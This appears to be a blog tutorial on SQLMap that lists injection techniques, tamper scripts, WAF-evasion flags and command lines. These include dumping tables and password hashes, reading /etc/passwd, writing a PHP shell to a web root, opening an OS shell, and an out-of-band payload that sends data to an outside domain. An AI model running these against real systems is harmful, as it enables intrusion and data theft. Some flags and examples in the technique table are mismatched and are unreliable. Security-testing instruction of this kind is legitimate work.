Learn how the SQLMap tool works and its significance in SQL injection testing and exploitation. Understand its capabilities, and techniques, and used them to enhance web application security through an automated vulnerability assessment.

SQLMAP Tutorial
SQLMAP Tutorial

What is SQLMAP?

In the realm of web application security, SQL injection remains a prevalent and severe vulnerability. As the sophistication of cyberattacks increases, it becomes crucial to identify and patch such vulnerabilities before malicious actors exploit them. This is where the SQLMap tool comes into play. SQLMap is a powerful open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities. In this article, we will delve into the inner workings of SQLMap, its techniques, and how it aids in ensuring robust web application security.

Understanding SQL Injection

Before diving into SQLMap, let’s briefly explore SQL injection. It is a technique used by attackers to manipulate SQL queries executed by a web application’s database backend.

By inserting malicious SQL code, attackers can bypass authentication mechanisms, extract sensitive data, modify databases, or even execute arbitrary commands on the underlying server.

To combat this threat, developers and security professionals perform SQL injection testing to identify and rectify potential vulnerabilities.

SQLMAP Features

SQLMAP is packed with features that make it a powerful tool for testing web application security. Some of its notable features include:

  1. Automatic detection of SQL Injection vulnerabilities: SQLMAP uses various techniques to automatically detect SQL Injection vulnerabilities in web applications, such as error-based, blind, time-based, and boolean-based techniques.
  2. Advanced exploitation techniques: SQLMAP provides advanced exploitation techniques, such as privilege escalation, database fingerprinting, and password cracking, to gain unauthorized access to the database.
  3. Support for multiple databases: SQLMAP supports a wide range of databases, making it a versatile tool for testing different types of web applications.
  4. Customizable testing options: SQLMAP allows testers to customize various testing options, such as the level of tests, delay between requests, and the type of injection technique to use.
  5. Detailed reporting: SQLMAP generates detailed reports that provide information about the vulnerabilities discovered, the exploited data, and the overall testing results, making it easy to analyze the findings.

Now, let’s dive into some practical examples of using SQLMAP with various commands.

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries
TechniqueDescriptionParameterExample
Boolean-basedExploits SQL injection vulnerabilities by sending queries that evaluate to either true or false to extract information.--technique=BEAND 1=1
Time-basedDelays the SQL query execution to determine if the injection is successful, often used when direct retrieval is not possible.--technique=TIAND GTID_SUBSET(@@version,0)
Error-basedRelies on error messages returned by the database to extract information about the underlying database structure and data.--technique=ERUNION ALL SELECT 1,@@version,3
UNION-basedConstructs UNION queries to combine result sets from multiple SELECT statements to extract information from the database.--technique=UUNION ALL SELECT 1,@@version,3
Stacked queriesExecutes multiple queries within a single SQL statement to perform actions beyond the scope of a single query.--technique=T; DROP TABLE users
Out-of-bandUtilizes features of the database or network to extract data, such as making DNS or HTTP requests to transmit information.--technique=OOBLOAD_FILE(CONCAT('\\\\',@@version,'.poplabsec.com\\README.txt'))
Time-based blindSimilar to time-based technique, but doesn’t rely on explicit responses from the database, using delays for inference instead.--technique=TBAND 1=IF(2>1,SLEEP(5),0)
Boolean-based blindSimilar to boolean-based technique, but doesn’t rely on explicit responses from the database, using true/false conditions.--technique=BB
Error-based blindSimilar to error-based technique, but doesn’t rely on explicit error messages, using conditional statements for inference.--technique=EB
UNION-based blindSimilar to UNION-based technique, but doesn’t rely on explicit result sets, using UNION/SELECT statements for inference.--technique=UB

Supported Databases

MySQLOraclePostgreSQLMicrosoft SQL Server
SQLiteIBM DB2Microsoft AccessFirebird
SybaseSAP MaxDBInformixMariaDB
HSQLDBCockroachDBTiDBMemSQL
H2MonetDBApache DerbyAmazon Redshift
VerticaMckoiPrestoAltibaseMimerSQL
CrateDBGreenplumDrizzleApache Ignite
CubridInterSystems CacheIRISeXtremeDB
FrontBase

Basic SQL Injection test:

sqlmap -u https://example.com/login.php?username=test&password=test

This command tells SQLMAP to target the URL “https://example.com/login.php” with the parameters “username” and “password” and use the default technique to test for SQL Injection vulnerabilities.

Custom injection technique

sqlmap -u https://example.com/login.php?username=test&password=test --technique=U

This command specifies the “U” technique, which represents Union-based SQL Injection, to test for vulnerabilities in the “username” and “password” parameters of the URL.

Custom testing level and risk

sqlmap -u https://example.com/login.php?username=test&password=test --level=3 --risk=2

This command sets the testing level to 3 and the risk level to 2, which increases the thoroughness of the tests and the aggressiveness of the attacks.

Fetching database information

sqlmap -u https://example.com/login.php?username=test&password=test -D dbname --tables

This command tells SQLMAP to fetch the list of tables in the “dbname” database of the target URL.

Dumping data from a specific table

sqlmap -u https://example.com/login.php?username=test&password=test -D dbname -T tablename --dump

This command instructs SQLMAP to dump the data from the “tablename” table in the “dbname” database of the target URL.

Using a custom cookie

sqlmap -u https://example.com/login.php -C "PHPSESSID=1234567890abcdef

This command uses a custom cookie “PHPSESSID=1234567890abcdef” to authenticate with the target URL “https://example.com/login.php” and perform SQL Injection tests.

Using a custom User-Agent

sqlmap -u https://example.com/login.php --headers="User-Agent: customAgent"

This command sets a custom User-Agent “customAgent” in the request headers while testing for SQL Injection vulnerabilities in the target URL.

Saving the results to a report file

sqlmap -u https://example.com/login.php --batch --output-file=result.txt

This command runs SQLMAP in batch mode, saves the results to a report file “result.txt”, and suppresses interactive prompts.

Using a proxy

sqlmap -u https://example.com/login.php --proxy=http://proxy.example.com:8080

This command configures SQLMAP to use a proxy “http://proxy.example.com:8080” for sending requests to the target URL.

Using a custom tamper script

sqlmap -u https://example.com/login.php --tamper=my_script.py

List of some commonly used SQLMap TAMPER scripts, along with their descriptions and parameters:

TAMPER ScriptDescriptionParameter
apostrophemaskAdds a random number of apostrophes to the payload to evade input filters.--tamper=apostrophemask
apostrophenullencodeEncodes apostrophes as their equivalent null byte representation to bypass certain filters.--tamper=apostrophenullencode
appendnullbyteAppends a null byte (%00) to the end of each payload to nullify the rest of the query.--tamper=appendnullbyte
base64encodeEncodes payloads using Base64 to bypass filters that block specific characters.--tamper=base64encode
betweenConverts comparison operators (e.g., =) into their BETWEEN equivalents.--tamper=between
bluecoatApplies a transformation that evades BlueCoat’s filtering system.--tamper=bluecoat
chardoubleencodeEncodes each character twice to bypass security filters that detect single encoding.--tamper=chardoubleencode
charunicodeencodeEncodes each character using Unicode hexadecimal representation to evade filters.--tamper=charunicodeencode
equaltolikeReplaces equal operators (=) with LIKE operators to bypass certain filters.--tamper=equaltolike
gtlikeModifies comparison operators to use LIKE instead of > to bypass filters.--tamper=gtlike
halfversionedmorekeywordsAdds random SQL keywords to the payload to bypass security filters.--tamper=halfversionedmorekeywords
ifnull2ifisnullConverts IFNULL function to IF(ISNULL) to evade certain filters.--tamper=ifnull2ifisnull
modsecurityversionedBypasses ModSecurity filters by adding comments and version-specific payload alterations.--tamper=modsecurityversioned
multiplespacesAdds multiple spaces between keywords and identifiers to bypass certain filters.--tamper=multiplespaces
nonrecursivereplacementModifies payloads using a non-recursive technique to evade security filters.--tamper=nonrecursivereplacement

These tamper scripts can be used with the --tamper=<tamper_script> parameter in SQLMap to apply specific tampering techniques during the scanning process. Each script modifies the payloads generated by SQLMap to bypass various input filters, evade WAF rules, and increase the chances of successful SQL injection exploitation.

SqlMap – target options

 Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Connection string for direct database connection
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file
 sqlmap -r req.txt -p namePeople
--current-user      Retrieve DBMS current user
--current-db        Retrieve DBMS current database
--hostname          Retrieve DBMS server hostname
--is-dba            Detect if the DBMS current user is DBA
--users             Enumerate DBMS users
--passwords         Enumerate DBMS users password hashes
--privileges        Enumerate DBMS users privileges
sqlmap -r req.txt -p namePeople --all
sqlmap -r req.txt -p namePeople --banner
sqlmap -r req.txt -p namePeople --dbs
sqlmap -r req.txt -p namePeople --current-user
sqlmap -r req.txt -p namePeople --roles
sqlmap -r req.txt -p namePeople --users
sqlmap -r req.txt -p namePeople --hostname
sqlmap -r req.txt -p namePeople --privileges

File system access

These options can be used to access the back-end database management
system underlying file system

--file-read=FILE..  Read a file from the back-end DBMS file system
--file-write=FIL..  Write a local file on the back-end DBMS file system
--file-dest=FILE..  Back-end DBMS absolute filepath to write to
sqlmap -r req.txt -p namePeople <strong>--file-read</strong>=/etc/passwd --batch
sqlmap -r req.txt -p namePeople --file-write=/home/user/rshell.php --file-dest=/var/www/html --batch

Operating system access

  These options can be used to access the back-end database management
  system underlying operating system

  --os-cmd=OSCMD      Execute an operating system command
  --os-shell          Prompt for an interactive operating system shell
  --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
  --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
  --os-bof            Stored procedure buffer overflow exploitation
  --priv-esc          Database process user privilege escalation
  --msf-path=MSFPATH  Local path where Metasploit Framework is installed
  --tmp-path=TMPPATH  Remote absolute path of temporary files directory
sqlmap -r req.txt -p namePeople --os-cmd=ifconfig
sqlmap -r req.txt -p namePeople --os-shell

Windows Registry Access

These options can be used to access the back-end database management system Windows registry
    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

Proxy Use

    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --proxy-freq=PRO..  Requests between change of proxy from a given list
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
sqlmap --proxy="http://<proxy-ip>:<proxy-port>"
sqlmap --proxy="http://<proxy-ip>:<proxy-port>" --proxy-cred=username:password
sqlmap --tor --tor-port=9050 --tor-type=SOCKS5 -r req.txt --dbs
sqlmap --check-tor
sqlmap -r req.txt -p namePeople

SQLMap firewall filters

Here’s a table that lists some commonly used SQLMap firewall filters, along with their descriptions and parameters:

Firewall FilterDescriptionParameter
Random AgentUtilizes random User-Agent strings to bypass web application firewalls that employ user-agent filtering.--random-agent
Random URIGenerates random URIs to evade web application firewalls that rely on specific URI patterns for filtering.--random-uri
Random ParameterRandomizes parameter names to bypass web application firewalls that depend on specific parameter naming schemes.--random-params
TAMPER scriptUses custom tampering scripts to modify requests and evade web application firewalls that detect known patterns.--tamper=<tamper_script>
Ignore WAFIgnores and bypasses Web Application Firewalls (WAFs) during the scanning process.--ignore-waf
HTTP MethodModifies the HTTP request method (e.g., from GET to POST) to bypass firewalls that block specific methods.--method=<http_method>
URI EncodingEncodes special characters in the URI to bypass firewalls that block or interpret them as malicious.--hex or --urlencode
Delayed RequestsIntroduces delays between requests to bypass time-based firewalls that block requests within a specific time.--delay=<delay_time>
Cookie FilteringManipulates cookies or session values to evade firewalls that filter based on specific cookie contents.--cookie=<cookie_string>
Host HeaderModifies the Host header to bypass firewalls that rely on specific host values for filtering.--host=<custom_host>

These firewall filters and parameters help SQLMap evade different types of web application firewalls and bypass their security measures.

It’s important to note that the usage of these filters should always adhere to ethical guidelines and be within the context of authorized security assessments.

Tamper Scripts

Tamper-ScriptDescription
0eunionReplaces instances of UNION with e0UNION
base64encodeBase64-encodes all characters in a given payload
betweenReplaces greater than operator (>) with NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND #
commalesslimitReplaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart
equaltolikeReplaces all occurrences of operator equal (=) with LIKE counterpart
halfversionedmorekeywordsAdds (MySQL) versioned comment before each keyword
modsecurityversionedEmbraces complete query with (MySQL) versioned comment
modsecurityzeroversionedEmbraces complete query with (MySQL) zero-versioned comment
percentageAdds a percentage sign (%) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)
plus2concatReplaces plus operator (+) with (MsSQL) function CONCAT() counterpart
randomcaseReplaces each keyword character with random case value (e.g. SELECT -> SEleCt)
space2commentReplaces space character ( ) with comments `/
space2dashReplaces space character ( ) with a dash comment (--) followed by a random string and a new line (\n)
space2hashReplaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\n)
space2mssqlblankReplaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters
space2plusReplaces space character ( ) with plus (+)
space2randomblankReplaces space character ( ) with a random blank character from a valid set of alternate characters
symboliclogicalReplaces AND and OR logical operators with their symbolic counterparts (&& and ||)
versionedkeywordsEncloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywordsEncloses each keyword with (MySQL) versioned comment

By using these commands and customizing SQLMAP settings, you can detect and exploit SQL injection vulnerabilities in web applications.

Remember, always use penetration testing tools ethically and with permission, and never use them to harm or exploit others.

SQLmap Project

Brute Force Database Services

What is SQLMAP?

SQLMAP is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications.

What is SQL injection?

SQL injection is a type of web application security vulnerability that allows an attacker to inject malicious SQL code into a web application, potentially gaining access to sensitive data or executing unauthorized actions.

How does SQLMAP work?

SQLMAP works by analyzing web application requests and responses to automatically detect and exploit SQL injection vulnerabilities.

Is SQLMAP legal to use?

Yes, SQLMAP is legal to use for penetration testing purposes as long as you have obtained permission from the owner of the web application you are testing.

Can SQLMAP detect all types of SQL injection vulnerabilities?

No, SQLMAP cannot detect all types of SQL injection vulnerabilities. However, it is a powerful tool that can detect and exploit many common types of SQL injection vulnerabilities.

Can SQLMAP be used to test non-web applications?

No, SQLMAP is designed specifically for testing SQL injection vulnerabilities in web applications.

Are there any alternatives to SQLMAP?

Yes, there are several other SQL injection testing tools available, including Havij, Acunetix, and Burp Suite.

Can SQLMAP be used on any operating system?

Yes, SQLMAP is a cross-platform tool that can be used on Windows, Linux, and macOS.

Avatar of RFS

RFS (104)